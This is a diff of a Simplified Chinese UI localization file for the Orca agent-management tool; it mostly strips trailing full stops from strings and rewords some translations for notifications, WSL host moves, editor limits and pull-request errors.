+      "description": "智能体视图现在是侧边栏的专用标签页，你的活动和筛选条件都会保留",
       "dismiss": "知道了"
     }
   },
@@ -20591,7 +21032,7 @@
     },
     "test": {
       "title": "Orca 通知已开启",
-      "body": "这是一条来自 Orca 的测试通知。"
+      "body": "这是一条来自 Orca 的测试通知"
     },
     "workspaceFallback": "工作区",
     "agentTool": {
@@ -20601,46 +21042,46 @@
     },
     "taskComplete": {
       "title": "{{worktree}} 中的任务已完成",
-      "body": "一个编程智能体已完成工作。"
+      "body": "一个编程智能体已完成工作"
     },
     "permissionProbe": {
-      "body": "当智能体完成工作或终端需要关注时，Orca 会提醒你。"
+      "body": "当智能体完成工作或终端需要关注时，Orca 会提醒你"
     },
     "startupRegistration": {
       "title": "Orca 已准备好向你发送通知",
-      "body": "允许通知后，当智能体完成工作或终端需要关注时，Orca 会提醒你。"
+      "body": "允许通知后，当智能体完成工作或终端需要关注时，Orca 会提醒你"
     }
   },
   "sidebar": {
     "revealFiltered": {
       "title": "显示隐藏的工作区？",
-      "description": "活动工作区隐藏在侧边栏中。显示它只会调整隐藏它的过滤器。",
-      "confirm": "调整滤镜并显示",
-      "cancel": "保留过滤器"
+      "description": "当前工作区已在侧边栏中隐藏，将其显示会清除侧边栏筛选条件",
+      "confirm": "清除筛选条件并显示",
+      "cancel": "保留筛选条件"
     },
     "wslMoved": {
       "movedToHost": "已移至 {{distro}} 主机",
       "useHere": "重新在此电脑上使用",
       "useHereTitle": "要重新在此电脑上使用 {{name}} 吗？",
-      "useHereDescription": "Orca 会按移动前的状态在这里打开此项目。你的代码不受影响：它从未移动。移动后在 {{distro}} 主机上所做的更改（例如新标签页和聊天）会留在主机上，不会回来。与它一起移动的项目也会一起回来。在你于 {{distro}} 主机上将其移除之前，项目也会一直保留在那里。此窗口将重新加载。",
+      "useHereDescription": "Orca 会按移动前的状态在这里打开此项目。你的代码不受影响：它从未移动。移动后在 {{distro}} 主机上所做的更改（例如新标签页和聊天）会留在主机上，不会回来。与它一起移动的项目也会一起回来。在你于 {{distro}} 主机上将其移除之前，项目也会一直保留在那里。此窗口将重新加载",
       "useHereConfirm": "在此电脑上使用",
-      "useHereSuperseded": "之后一次移动到 {{distro}} 主机的操作包含此项目。请先将那次移动恢复。",
+      "useHereSuperseded": "之后一次移动到 {{distro}} 主机的操作包含此项目。请先将那次移动恢复",
       "useHereRefusedTitle": "暂时无法在此处使用 {{name}}",
       "useHereRefusedOk": "确定",
-      "useHereSupersededBy": "{{names}} 在此项目之后移到了 {{distro}} 主机。请先重新在此电脑上使用它们，再处理此项目。",
-      "useHereMoveRunning": "移动到 {{distro}} 主机的操作仍在进行。请在其结束后重试。",
-      "useHereHostKeptForPeers": "{{project}} 已移到 {{distro}} 主机，该主机仍在为另一个 Orca 运行。重新添加该主机即可在此处再次使用它。",
-      "useHereHostUnreachable": "{{distro}} 主机没有响应，Orca 无法停止它上面的此项目副本，其智能体可能仍在运行。请在设置中连接或移除该主机，然后重试。",
-      "useHereHostStillRunning": "{{distro}} 主机上的此项目副本仍有终端在运行，其智能体可能会运行两次。请稍候再试。",
-      "useHereHostTerminalsAsleep": "它在 {{distro}} 主机上的终端已进入休眠。打开该项目即可恢复。",
-      "useHereFailed": "无法将此项目恢复到此电脑。",
-      "useHereHostRemovalPending": "{{distro}} 主机仍在移除中，因此 Orca 不会改动它。请在设置中完成移除，然后重试。",
-      "useHereHostAutomations": "Orca 无法关闭此项目在 {{distro}} 主机上的自动化，它们可能会运行两次。请在设置中连接该主机，然后重试。",
+      "useHereSupersededBy": "{{names}} 在此项目之后移到了 {{distro}} 主机。请先重新在此电脑上使用它们，再处理此项目",
+      "useHereMoveRunning": "移动到 {{distro}} 主机的操作仍在进行。请在其结束后重试",
+      "useHereHostKeptForPeers": "{{project}} 已移到 {{distro}} 主机，该主机仍在为另一个 Orca 运行。重新添加该主机即可在此处再次使用它",
+      "useHereHostUnreachable": "{{distro}} 主机没有响应，Orca 无法停止它上面的此项目副本，其智能体可能仍在运行。请在设置中连接或移除该主机，然后重试",
+      "useHereHostStillRunning": "{{distro}} 主机上的此项目副本仍有终端在运行，其智能体可能会运行两次。请稍候再试",
+      "useHereHostTerminalsAsleep": "它在 {{distro}} 主机上的终端已进入休眠。打开该项目即可恢复",
+      "useHereFailed": "无法将此项目恢复到此电脑",
+      "useHereHostRemovalPending": "{{distro}} 主机仍在移除中，因此 Orca 不会改动它。请在设置中完成移除，然后重试",
+      "useHereHostAutomations": "Orca 无法关闭此项目在 {{distro}} 主机上的自动化，它们可能会运行两次。请在设置中连接该主机，然后重试",
       "useHereUnsavedTitle": "请先保存文件",
       "useHereUnsavedDescription": "将 {{name}} 恢复到此电脑会重新加载此窗口。请先保存或关闭以下文件：{{files}}",
       "automationRunsOnHost": "在 {{distro}} 主机上运行",
       "quitDuringMoveTitle": "要在项目移动期间退出吗？",
-      "quitDuringMoveDescription": "有项目正在移到其 WSL 主机。仍要退出吗？下次启动时将撤销此次移动。",
+      "quitDuringMoveDescription": "有项目正在移到其 WSL 主机。仍要退出吗？下次启动时将撤销此次移动",
       "quitDuringMoveConfirm": "仍要退出"
     },
     "startupWorktreeRefresh": {
@@ -20653,31 +21094,31 @@
         "parentRequired": "必须指定父目录",
         "parentNotAbsolute": "父目录必须为绝对路径",
         "targetInaccessible": "无法访问目标路径：{{detail}}",
-        "targetNotEmpty": "此位置已存在“{{name}}”，且不为空。",
-        "targetNotFolder": "此位置已存在“{{name}}”，且不是文件夹。",
+        "targetNotEmpty": "此位置已存在“{{name}}”，且不为空",
+        "targetNotFolder": "此位置已存在“{{name}}”，且不是文件夹",
         "readDirectoryFailed": "读取目录失败：{{detail}}",
         "createDirectoryFailed": "创建目录失败：{{detail}}",
         "prepareDirectoryFailed": "准备目录失败：{{detail}}",
-        "gitIdentityMissing": "未配置 Git 作者身份。请运行 `git config --global user.name \"Your Name\"` 和 `git config --global user.email \"you@example.com\"`，然后重试。",
+        "gitIdentityMissing": "未配置 Git 作者身份。请运行 `git config --global user.name \"Your Name\"` 和 `git config --global user.email \"you@example.com\"`，然后重试",
         "gitInitFailed": "初始化 Git 仓库失败：{{detail}}",
         "initialCommitFailed": "创建初始提交失败：{{detail}}"
       }
     },
     "wslHosts": {
       "addErrors": {
-        "alreadyAdded": "{{distro}} 已是主机。",
-        "distroStopped": "读取列表后，{{distro}} 已停止。选择“启动并添加”以启动它。",
+        "alreadyAdded": "{{distro}} 已是主机",
+        "distroStopped": "读取列表后，{{distro}} 已停止。选择“启动并添加”以启动它",
         "distroUnverifiable": "WSL 没有回应 {{distro}} 是否正在运行。请刷新列表，或从对话框添加，系统会按需启动它。",
         "wsl1": "{{distro}} 使用 WSL 1，Orca 已不再支持。请在 Windows 终端中使用以下命令将其转换为 WSL 2：{{command}}",
-        "notRegistered": "{{distro}} 不是已安装的 WSL 发行版。请在 Windows 终端中运行 {{command}} 查看已安装的发行版，或重新安装它后重试。",
-        "sshManaged": "{{distro}} 已在为“{{server}}”运行 Orca 服务器，此电脑通过 SSH 访问该服务器。请先移除该服务器；暂不支持将其迁移为 WSL 主机。"
+        "notRegistered": "{{distro}} 不是已安装的 WSL 发行版。请在 Windows 终端中运行 {{command}} 查看已安装的发行版，或重新安装它后重试",
+        "sshManaged": "{{distro}} 已在为“{{server}}”运行 Orca 服务器，此电脑通过 SSH 访问该服务器。请先移除该服务器；暂不支持将其迁移为 WSL 主机"
       },
       "statusDetails": {
-        "runningListUnavailable": "Windows 未报告该发行版是否正在运行。",
-        "guestUnanswered": "发行版正在运行，但未响应 Orca 的检查。",
-        "orcadUnanswered": "发行版中的 Orca 服务器未响应。",
+        "runningListUnavailable": "Windows 未报告该发行版是否正在运行",
+        "guestUnanswered": "发行版正在运行，但未响应 Orca 的检查",
+        "orcadUnanswered": "发行版中的 Orca 服务器未响应",
         "restartGaveUp_other": "尝试 {{count}} 次后仍无法重启 {{distro}} 中的 Orca 服务器",
-        "serviceUnconfirmed": "WSL 服务未确认该发行版是否正在运行。",
+        "serviceUnconfirmed": "WSL 服务未确认该发行版是否正在运行",
         "peerCheckFailed": "Orca 无法向 WSL 主机询问此电脑上的另一个 Orca 是否仍在使用该主机：{{detail}}",
         "removalUnrecorded": "Orca 无法记录此次移除后仍在运行的内容：{{detail}}"
       }
@@ -20741,23 +21182,23 @@
   },
   "editor": {
     "richMarkdown": {
-      "tooLarge": "文件大于 {{limit}} 丰富编辑限制。显示源模式。",
-      "openAnyway": "无论如何打开"
+      "tooLarge": "文件大小超过富文本编辑的 {{limit}} 上限，已改用源码模式显示",
+      "openAnyway": "仍然打开"
     },
     "fileLoad": {
-      "hostUnresolved": "主机找不到该文件的工作区。它可能已被删除，或者主机可能还不知道。重试，或从选项卡栏中关闭此选项卡。",
-      "remoteTooLarge": "此文件过大，无法从其主机打开。"
+      "hostUnresolved": "主机找不到此文件所属的工作区，该工作区可能已被移除，或者主机尚未识别它，请重试，或从标签栏关闭此标签页",
+      "remoteTooLarge": "此文件过大，无法从其主机打开"
     },
     "markdownPreview": {
-      "tooLarge": "文件超过 {{limit}} 预览限制。请打开文件查看源代码。",
-      "tooLargeInDiff": "文件超过 {{limit}} 预览限制。请切换到源代码模式查看差异。",
-      "blockTooLarge": "此区块过大，无法渲染。请打开源代码视图阅读。",
-      "largeNotice": "大型预览。请使用源代码视图复制完整文档。PDF 导出不可用。",
-      "processingFailed": "此文档超出了预览限制。请打开源代码视图阅读完整文件。",
+      "tooLarge": "文件超过 {{limit}} 预览限制，请打开文件查看源代码",
+      "tooLargeInDiff": "文件超过 {{limit}} 预览限制，请切换到源代码模式查看差异",
+      "blockTooLarge": "此区块过大，无法渲染，请打开源代码视图阅读",
+      "largeNotice": "大型预览，请使用源代码视图复制完整文档，PDF 导出不可用",
+      "processingFailed": "此文档超出了预览限制，请打开源代码视图阅读完整文件",
       "preparing": "正在准备预览…",
       "searching": "正在搜索…",
-      "searchFailed": "搜索未能完成，请重试。",
-      "refreshFailed": "预览更新失败，正在显示上一版本。请打开源码视图查看当前内容。"
+      "searchFailed": "搜索未能完成，请重试",
+      "refreshFailed": "预览更新失败，正在显示上一版本，请打开源码视图查看当前内容"
     },
     "pdfExport": {
       "errors": {
@@ -20768,75 +21209,75 @@
   },
   "featureTips": {
     "voice": {
-      "demoPrompt": "查看此差异以了解边缘情况，并为您发现的任何内容添加测试。",
+      "demoPrompt": "评审此差异的边界情况，并为发现的问题补充测试",
       "startDictation": "开始听写",
-      "agentPromptTitle": "智能体提示",
-      "listening": "听...",
-      "unassignedInstruction": "在焦点窗格中开始语音听写之前指定听写快捷方式。",
-      "shortcutInstruction": "将焦点移至终端、编辑器或智能体提示词输入框，然后按 <shortcut/> 开始语音听写。再次按 <shortcut/> 即可停止。",
-      "changeInSettings": "随时在<link>设置 → 语音</link>中更改模型、听写模式或快捷键。",
+      "agentPromptTitle": "代理提示",
+      "listening": "正在聆听...",
+      "unassignedInstruction": "在聚焦窗格中开始语音听写前，请先指定听写快捷键",
+      "shortcutInstruction": "将焦点移至终端、编辑器或智能体提示词输入框，然后按 <shortcut/> 开始语音听写。再次按 <shortcut/> 即可停止",
+      "changeInSettings": "随时在<link>设置 → 语音</link>中更改模型、听写模式或快捷键",
       "title": "在任意窗格中听写",
-      "description": "在任意已聚焦的窗格中开始语音听写，再次使用快捷键即可停止。",
+      "description": "在任意已聚焦的窗格中开始语音听写，再次使用快捷键即可停止",
       "cta": "设置语音听写"
     },
     "sessionSearch": {
       "ageHours": "2小时",
       "ageMinutes": "12分钟",
       "ageYesterday": "1天",
-      "agentsInstruction": "您的智能体也可以搜索。让它“找到我们修复登录超时的那次会话”。",
+      "agentsInstruction": "您的代理也可以搜索，让它“找到我们修复登录超时的那次会话”",
       "continueInBackground": "在后台继续",
       "demoHit1Age": "3天",
-      "demoHit1Snippet": "将 [[登录超时]] 延长至 30 秒，并在令牌刷新时添加了重试。",
+      "demoHit1Snippet": "将 [[登录超时]] 延长至 30 秒，并在令牌刷新时添加了重试",
       "demoHit1Title": "修复不稳定的身份验证重定向",
       "demoHit2Age": "1周",
       "demoHit2Snippet": "为什么唤醒后 [[登录]] 页面在 [[超时]] 后卡住？",
       "demoHit2Title": "睡眠后会话刷新",
       "demoHit3Age": "2周",
-      "demoHit3Snippet": "添加了覆盖 [[登录超时]] 路径的端到端测试。",
+      "demoHit3Snippet": "添加了覆盖 [[登录超时]] 路径的端到端测试",
       "demoHit3Title": "身份验证端到端加固",
       "demoHit4Age": "5天",
-      "demoHit4Snippet": "[[回滚]] 会先删除新索引，再恢复旧列。",
+      "demoHit4Snippet": "[[回滚]] 会先删除新索引，再恢复旧列",
       "demoHit4Title": "订单表迁移",
       "demoHit5Age": "3周",
       "demoHit5Snippet": "在重试之前，你能写一份 [[迁移]] [[回滚]] 计划吗？",
       "demoHit5Title": "预发布部署失败",
       "demoHit6Age": "1个月",
-      "demoHit6Snippet": "这里的每个 [[迁移]] 都是可逆的，除了枚举重命名。",
+      "demoHit6Snippet": "这里的每个 [[迁移]] 都是可逆的，除了枚举重命名",
       "demoHit6Title": "表结构评审记录",
       "demoQuery": "登录超时",
       "demoQuery2": "迁移回滚",
       "demoRoleAssistant": "助手",
       "demoRoleUser": "用户",
-      "enableFailed": "无法开启会话搜索。请重试。",
-      "indexingDescription": "Orca 正在读取您过去的智能体会话记录，以便您可以搜索它们。这可能需要几分钟。",
-      "indexingTitle": "正在索引您的智能体会话",
+      "enableFailed": "无法开启会话搜索，请重试",
+      "indexingDescription": "Orca 正在读取您过去的代理会话记录，以便您可以搜索它们，这可能需要几分钟",
+      "indexingTitle": "正在索引您的代理会话",
       "progressStarting": "正在查找您的会话…",
-      "readyDescription": "现在可以通过会话内容找到此电脑上的每个智能体会话。",
+      "readyDescription": "现在可以通过会话内容找到此电脑上的每个代理会话",
       "readyTitle": "会话搜索已就绪",
       "readyToast": "会话搜索已就绪",
       "readyToastOpen": "打开",
-      "recent1Text": "将搜索入口移至“工作流程”下，并更新了测试。",
+      "recent1Text": "将搜索入口移至“工作流程”下，并更新了测试",
       "recent1Title": "整理设置侧边栏",
-      "recent2Text": "更新依赖项并确保构建仍然通过。",
+      "recent2Text": "更新依赖项并确保构建仍然通过",
       "recent2Title": "更新 lockfile",
-      "recent3Text": "这是按领域分组的记录初稿。",
+      "recent3Text": "这是按领域分组的记录初稿",
       "recent3Title": "发布说明草稿",
       "startSearching": "开始搜索",
-      "changeInSettings": "随时在<link>设置 → 智能体会话搜索</link>中更改或关闭。",
+      "changeInSettings": "随时在<link>设置 → 智能体会话搜索</link>中更改或关闭",
       "title": "搜索所有智能体会话",
-      "description": "根据对话内容找到任何历史会话，再从智能体上次停下的地方继续。",
+      "description": "根据对话内容找到任何历史会话，再从智能体上次停下的地方继续",
       "cta": "开启会话搜索"
     },
     "eyebrowNew": "新功能",
     "eyebrowTip": "提示",
     "orcaCli": {
       "title": "让智能体通过 Orca CLI 操控 Orca",
-      "description": "让智能体协调子工作树，并在工作树之间通信。",
+      "description": "让智能体协调子工作树，并在工作树之间通信",
       "cta": "安装 CLI 与技能"
     },
     "cmdJPalette": {
       "title": "使用 <shortcut> 跳转到工作树",
-      "description": "搜索工作树、切换标签页、调整设置或创建工作树，全程无需离开键盘。"
+      "description": "搜索工作树、切换标签页、调整设置或创建工作树，全程无需离开键盘"
     },
     "gotIt": "知道了",
     "chatUiHere": {
@@ -20861,31 +21302,31 @@
     }
   },
   "quickOpen": {
-    "moreMatchesAvailable": "可能还有更多匹配结果。请细化搜索以缩小范围。",
+    "moreMatchesAvailable": "可能还有更多匹配项，请优化搜索条件以缩小结果范围",
     "recentValidationFailed": "无法检查最近的文件：{{error}}",
     "installRipgrepOnRemote": "在远程主机上安装 <code>ripgrep</code>，即可按 .gitignore 规则快速列出文件：",
-    "scanTooLarge": "“快速打开”的扫描范围过大（{{reason}}）。"
+    "scanTooLarge": "“快速打开”的扫描范围过大（{{reason}}）"
   },
   "checksPanel": {
     "unlinked": {
-      "title": "拉取请求已取消链接",
-      "description": "PR #{{number}} 对此工作区隐藏。再次链接以恢复检查并查看详细信息。",
-      "relink": "链接 PR #{{number}}"
+      "title": "拉取请求已取消关联",
+      "description": "此工作区已隐藏 PR #{{number}}，请重新关联，以恢复检查和评审详情",
+      "relink": "关联 PR #{{number}}"
     }
   },
   "sourceControl": {
     "sectionAgentStarted": "已在 {{value0}} 中启动",
-    "actionSaveFailed": "无法保存此操作。请在设置中重试保存。",
+    "actionSaveFailed": "无法保存此操作。请在设置中重试保存",
     "unlinkedPr": {
-      "status": "PR #{{number}} 未链接"
+      "status": "PR #{{number}} 已取消关联"
     },
     "discard": {
-      "deleteUntrackedFileDescription": "这将永久删除此未跟踪文件。此操作无法撤销。",
-      "deleteUntrackedFilesDescription_other": "这将永久删除这 {{count}} 个未跟踪文件。此操作无法撤销。",
-      "restoreStagedVersionDescription": "这将恢复最后一个暂存版本并放弃删除。此操作无法撤消。",
-      "unstagedChangesDescription": "这将恢复对此文件的未暂存更改。此操作无法撤消。",
-      "unstagedSelectionIncludingUntrackedDescription": "这将还原未暂存的更改，并永久删除此选择中的任何未跟踪文件。此操作无法撤销。",
-      "unstagedFilesIncludingUntrackedDescription_other": "这将还原未暂存的更改，并永久删除这 {{count}} 个文件中的任何未跟踪文件。此操作无法撤销。",
+      "deleteUntrackedFileDescription": "这将永久删除此未跟踪文件。此操作无法撤销",
+      "deleteUntrackedFilesDescription_other": "这将永久删除这 {{count}} 个未跟踪文件。此操作无法撤销",
+      "restoreStagedVersionDescription": "这将恢复最后一个暂存版本并放弃删除，此操作无法撤消",
+      "unstagedChangesDescription": "这将恢复对此文件的未暂存更改，此操作无法撤消",
+      "unstagedSelectionIncludingUntrackedDescription": "这将还原未暂存的更改，并永久删除此选择中的任何未跟踪文件。此操作无法撤销",
+      "unstagedFilesIncludingUntrackedDescription_other": "这将还原未暂存的更改，并永久删除这 {{count}} 个文件中的任何未跟踪文件。此操作无法撤销",
       "delete": "删除",
       "restore": "恢复",
       "discard": "放弃",
@@ -20895,53 +21336,53 @@
       "deleteCount": "删除 {{count}} 个"
     },
     "createReviewFailure": {
-      "authRequiredCommand": "{{providerName}} 未通过身份验证。下一步：在此环境中运行 {{command}}。",
-      "authRequiredVariable": "{{providerName}} 未通过身份验证。下一步：在此环境中设置 {{variable}}。",
-      "authRequiredBitbucket": "Bitbucket 未通过身份验证。下一步：在“设置 > 集成”中连接 Bitbucket，或在此环境中设置 ORCA_BITBUCKET_*。",
+      "authRequiredCommand": "{{providerName}} 未通过身份验证。下一步：在此环境中运行 {{command}}",
+      "authRequiredVariable": "{{providerName}} 未通过身份验证。下一步：在此环境中设置 {{variable}}",
+      "authRequiredBitbucket": "Bitbucket 未通过身份验证。下一步：在“设置 > 集成”中连接 Bitbucket，或在此环境中设置 ORCA_BITBUCKET_*",
       "signInHintCommand": "在此环境中运行 {{command}}",
       "signInHintVariable": "在此环境中设置 {{variable}}",
       "signInHintBitbucket": "在“设置 > 集成”中连接 Bitbucket",
-      "dirty": "请在创建 {{reviewLabel}} 之前提交或放弃本地更改。",
-      "detachedHead": "请在创建 {{reviewLabel}} 之前切换到某个分支。",
-      "defaultBranch": "请在创建 {{reviewLabel}} 之前选择功能分支。",
-      "noUpstream": "请在创建 {{reviewLabel}} 之前发布此分支。",
-      "needsPush": "请在创建 {{reviewLabel}} 之前推送此分支。",
-      "needsSync": "请在创建 {{reviewLabel}} 之前同步此分支。",
-      "refreshStatus": "请刷新源代码控制状态后重试。",
-      "namedBaseNotOnRemote": "基础分支“{{base}}”尚未推送到远程。请选择已推送的基础分支，或先推送它。",
-      "baseNotOnRemote": "基础分支尚未推送到远程。请选择已推送的基础分支，或先推送它。",
-      "branchChanged": "请在创建 {{reviewLabel}} 之前切换回所选分支。",
-      "branchStatusUnverified": "无法验证分支状态。请刷新源代码控制后重试。",
-      "reviewLookupUnavailable": "Orca 无法确认此分支是否已有 {{reviewLabel}}。请在 {{providerName}} 查询成功后重试。",
-      "sameBaseBranch": "请在创建 {{reviewLabel}} 之前选择其他基础分支。",
-      "rejected": "{{providerName}} 拒绝了该 {{reviewLabel}}。请检查基础分支和分支状态，然后重试。",
-      "repositoryNotFound": "{{providerName}} 找不到该仓库。请确认凭据对该仓库具有写入权限。",
-      "createFailed": "{{providerName}} 无法创建 {{reviewLabel}}。请稍后重试。",
-      "unsupportedProvider": "创建 {{reviewLabel}} 需要托管在 {{providerName}} 上的远程仓库。",
-      "providerNotSupported": "尚不支持为此提供商创建评审。",
-      "existingReview": "此分支已存在 {{reviewLabel}}。",
+      "dirty": "请在创建 {{reviewLabel}} 之前提交或放弃本地更改",
+      "detachedHead": "请在创建 {{reviewLabel}} 之前切换到某个分支",
+      "defaultBranch": "请在创建 {{reviewLabel}} 之前选择功能分支",
+      "noUpstream": "请在创建 {{reviewLabel}} 之前发布此分支",
+      "needsPush": "请在创建 {{reviewLabel}} 之前推送此分支",
+      "needsSync": "请在创建 {{reviewLabel}} 之前同步此分支",
+      "refreshStatus": "请刷新源代码控制状态后重试",
+      "namedBaseNotOnRemote": "基础分支“{{base}}”尚未推送到远程。请选择已推送的基础分支，或先推送它",
+      "baseNotOnRemote": "基础分支尚未推送到远程。请选择已推送的基础分支，或先推送它",
+      "branchChanged": "请在创建 {{reviewLabel}} 之前切换回所选分支",
+      "branchStatusUnverified": "无法验证分支状态。请刷新源代码控制后重试",
+      "reviewLookupUnavailable": "Orca 无法确认此分支是否已有 {{reviewLabel}}。请在 {{providerName}} 查询成功后重试",
+      "sameBaseBranch": "请在创建 {{reviewLabel}} 之前选择其他基础分支",
+      "rejected": "{{providerName}} 拒绝了该 {{reviewLabel}}。请检查基础分支和分支状态，然后重试",
+      "repositoryNotFound": "{{providerName}} 找不到该仓库。请确认凭据对该仓库具有写入权限",
+      "createFailed": "{{providerName}} 无法创建 {{reviewLabel}}。请稍后重试",
+      "unsupportedProvider": "创建 {{reviewLabel}} 需要托管在 {{providerName}} 上的远程仓库",
+      "providerNotSupported": "尚不支持为此提供商创建评审",
+      "existingReview": "此分支已存在 {{reviewLabel}}",
       "creationUnconfirmed": "{{shortLabel}} 可能已创建完成。正在刷新分支评审状态...",
       "withDetail": "创建 {{shortLabel}} 失败：{{detail}}",
-      "pushFailed": "推送失败。请解决推送错误后重试。",
+      "pushFailed": "推送失败。请解决推送错误后重试",
       "stacked": {
-        "stackGithubOnly": "仅 GitHub 仓库支持创建堆栈中的 PR。",
-        "stackGithubComOnly": "GitHub 堆栈中的 PR 仅在 GitHub.com 上可用。",
-        "stackSameParent": "创建堆栈中的 PR 前，请选择其他父分支。",
-        "stackParentWithoutReview": "父分支 {{base}} 没有打开的 PR。请先创建该 PR。",
-        "stackParentAmbiguous": "Orca 发现父分支 {{base}} 有多个打开的 PR。",
-        "stackHeadAmbiguous": "Orca 发现当前分支 {{head}} 有多个打开的 PR。",
-        "stackParentMultipleStacks": "所选父 PR 属于多个堆栈。",
-        "stackParentClosed": "所选父 PR 属于已关闭的堆栈。",
-        "stackParentNotTop": "添加新层前，请选择堆栈最顶层的 PR 作为基础分支。",
-        "stackConflict": "此 PR 已属于另一个 GitHub 堆栈。",
-        "stacksUnavailable": "此仓库不支持 GitHub 堆栈中的 PR。",
-        "stackParentUnverified": "Orca 无法验证父 PR。请稍后重试。",
-        "stackExistingReviewOtherBase": "此分支已有打开的 PR，但其目标不是所选父分支。",
-        "stackCreationUnconfirmed": "PR 可能已创建成功。请重试以完成堆栈注册。",
-        "stackRegistrationUnavailable": "PR 已创建，但此仓库不支持 GitHub 堆栈。",
-        "stackRegistrationFailed": "PR 已创建，但 GitHub 无法将其添加到堆栈。请重试以完成堆栈注册。"
+        "stackGithubOnly": "仅 GitHub 仓库支持创建堆栈中的 PR",
+        "stackGithubComOnly": "GitHub 堆栈中的 PR 仅在 GitHub.com 上可用",
+        "stackSameParent": "创建堆栈中的 PR 前，请选择其他父分支",
+        "stackParentWithoutReview": "父分支 {{base}} 没有打开的 PR。请先创建该 PR",
+        "stackParentAmbiguous": "Orca 发现父分支 {{base}} 有多个打开的 PR",
+        "stackHeadAmbiguous": "Orca 发现当前分支 {{head}} 有多个打开的 PR",
+        "stackParentMultipleStacks": "所选父 PR 属于多个堆栈",
+        "stackParentClosed": "所选父 PR 属于已关闭的堆栈",
+        "stackParentNotTop": "添加新层前，请选择堆栈最顶层的 PR 作为基础分支",
+        "stackConflict": "此 PR 已属于另一个 GitHub 堆栈",
+        "stacksUnavailable": "此仓库不支持 GitHub 堆栈中的 PR",
+        "stackParentUnverified": "Orca 无法验证父 PR。请稍后重试",
+        "stackExistingReviewOtherBase": "此分支已有打开的 PR，但其目标不是所选父分支",
+        "stackCreationUnconfirmed": "PR 可能已创建成功。请重试以完成堆栈注册",
+        "stackRegistrationUnavailable": "PR 已创建，但此仓库不支持 GitHub 堆栈",
+        "stackRegistrationFailed": "PR 已创建，但 GitHub 无法将其添加到堆栈。请重试以完成堆栈注册"
       },
-      "baseHeadTitleRequired": "必须提供基础分支、源分支和标题。"
+      "baseHeadTitleRequired": "必须提供基础分支、源分支和标题"
     },
     "model": {
       "auto": "自动",
@@ -20957,116 +21398,116 @@
       "xhigh": "极高"
     },
     "variables": {
-      "basePrompt": "Orca 为此操作内置的提示词，包含 Orca 能安全收集的上下文。",
-      "branch": "当前源代码管理分支名称。",
-      "stagedFiles": "用于生成提交信息的已暂存文件列表，每行一个文件。",
-      "stagedPatch": "用于生成提交信息的已暂存 Git 补丁。",
-      "baseBranch": "在创建 PR 编辑器中选择的目标分支。",
-      "currentTitle": "开始生成前，编辑器中当前输入的 PR 标题。",
-      "currentBody": "开始生成前，编辑器中当前输入的 PR 描述。",
-      "commitSummary": "当前分支相对于基准分支的提交列表，每行一个提交。",
-      "changedFiles": "当前分支与基准分支之间的文件更改摘要。",
-      "patch": "用于生成 PR 详情的当前分支与基准分支的差异。",
-      "firstPrompt": "此工作区或聊天中的第一个用户请求。",
-      "assistantMessage": "Orca 可获取的智能体初始回复。",
-      "linkedIssue": "与此工作区关联的 GitHub issue 编号。未关联 GitHub issue 时为空（包括关联 GitLab 的工作区）。优先使用带指示的模板：未关联时，单独的“Fixes #{linkedIssue}”会变成“Fixes #”。"
+      "basePrompt": "Orca 为此操作内置的提示词，包含 Orca 能安全收集的上下文",
+      "branch": "当前源代码管理分支名称",
+      "stagedFiles": "用于生成提交信息的已暂存文件列表，每行一个文件",
+      "stagedPatch": "用于生成提交信息的已暂存 Git 补丁",
+      "baseBranch": "在创建 PR 编辑器中选择的目标分支",
+      "currentTitle": "开始生成前，编辑器中当前输入的 PR 标题",
+      "currentBody": "开始生成前，编辑器中当前输入的 PR 描述",
+      "commitSummary": "当前分支相对于基准分支的提交列表，每行一个提交",
+      "changedFiles": "当前分支与基准分支之间的文件更改摘要",
+      "patch": "用于生成 PR 详情的当前分支与基准分支的差异",
+      "firstPrompt": "此工作区或聊天中的第一个用户请求",
+      "assistantMessage": "Orca 可获取的智能体初始回复",
+      "linkedIssue": "与此工作区关联的 GitHub issue 编号。未关联 GitHub issue 时为空（包括关联 GitLab 的工作区）。优先使用带指示的模板：未关联时，单独的“Fixes #{linkedIssue}”会变成“Fixes #”"
     },
     "textGeneration": {
       "errors": {
-        "promptTooLargeForWindows": "{{label}} 的提示词过大，无法用于 Windows 命令行。请减少暂存的更改后重试。",
-        "promptTooLargeForArgument": "{{label}} 的提示词过大，无法作为单个命令行参数传递。请减少暂存的更改后重试。",
-        "agentCouldNotStart": "无法启动 {{label}}。请在设置中检查智能体命令后重试。",
-        "agentFailedToStart": "{{label}} 启动失败。请在设置中检查智能体命令后重试。",
-        "agentBinaryNotFound": "在 PATH 中找不到 {{binary}}。请安装 {{label}} 以使用 AI 提交信息。",
-        "timedOut": "生成在 {{seconds}} 秒后超时。",
-        "outputTooLarge": "{{label}} CLI 命令产生了过多输出。请检查智能体的 CLI 配置后重试。",
-        "windowsBatchUnsafeArguments": "{{label}} 通过 Windows 批处理脚本运行，该脚本无法将多行提示词作为参数接收。请在设置中指定智能体的可执行文件，或使用不含 {prompt} 的自定义命令，让 Orca 通过 stdin 发送提示词。",
-        "cliTerminated": "{{label}} CLI 命令在退出前被终止。",
+        "promptTooLargeForWindows": "{{label}} 的提示词过大，无法用于 Windows 命令行。请减少暂存的更改后重试",
+        "promptTooLargeForArgument": "{{label}} 的提示词过大，无法作为单个命令行参数传递。请减少暂存的更改后重试",
+        "agentCouldNotStart": "无法启动 {{label}}。请在设置中检查智能体命令后重试",
+        "agentFailedToStart": "{{label}} 启动失败。请在设置中检查智能体命令后重试",
+        "agentBinaryNotFound": "在 PATH 中找不到 {{binary}}。请安装 {{label}} 以使用 AI 提交信息",
+        "timedOut": "生成在 {{seconds}} 秒后超时",
+        "outputTooLarge": "{{label}} CLI 命令产生了过多输出。请检查智能体的 CLI 配置后重试",
+        "windowsBatchUnsafeArguments": "{{label}} 通过 Windows 批处理脚本运行，该脚本无法将多行提示词作为参数接收。请在设置中指定智能体的可执行文件，或使用不含 {prompt} 的自定义命令，让 Orca 通过 stdin 发送提示词",
+        "cliTerminated": "{{label}} CLI 命令在退出前被终止",
         "cliTerminatedWithDetail": "{{label}} CLI 命令在退出前被终止：{{detail}}",
-        "cliFailed": "{{label}} CLI 命令执行失败，退出码为 {{exitCode}}。",
+        "cliFailed": "{{label}} CLI 命令执行失败，退出码为 {{exitCode}}",
         "cliFailedWithDetail": "{{label}} CLI 命令执行失败，退出码为 {{exitCode}}：{{detail}}",
-        "agentReportedError": "{{label}} 报告了错误。",
-        "emptyCommitMessage": "{{label}} 返回了空消息。",
+        "agentReportedError": "{{label}} 报告了错误",
